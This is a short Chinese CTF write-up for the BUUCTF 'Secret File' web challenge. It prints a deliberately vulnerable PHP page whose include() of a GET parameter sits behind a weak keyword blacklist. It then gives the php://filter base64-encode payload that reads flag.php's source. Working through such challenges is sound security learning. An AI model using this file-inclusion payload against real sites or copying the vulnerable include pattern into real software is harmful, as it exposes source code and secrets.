「配枪朱丽叶。」

RootのCTF学习笔记。

BUUCTF/极客大挑战2019 WEB-Secret File

/action.php这里抓包可以发现有一个secr3t.php
打开之后进行代码审计:

<?php
    highlight_file(__FILE__);
    error_reporting(0);
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file); 
//flag放在了flag.php里
?>

首先我直接?file=flag.php了一下,页面变成了黑色,吓我一跳hhh

看到了include函数,考虑到php伪协议,读取一哈:

?file=php://filter/convert.base64-encode/resource=flag.php

得到了flag:
https://s2.ax1x.com/2019/11/30/QVrjlq.png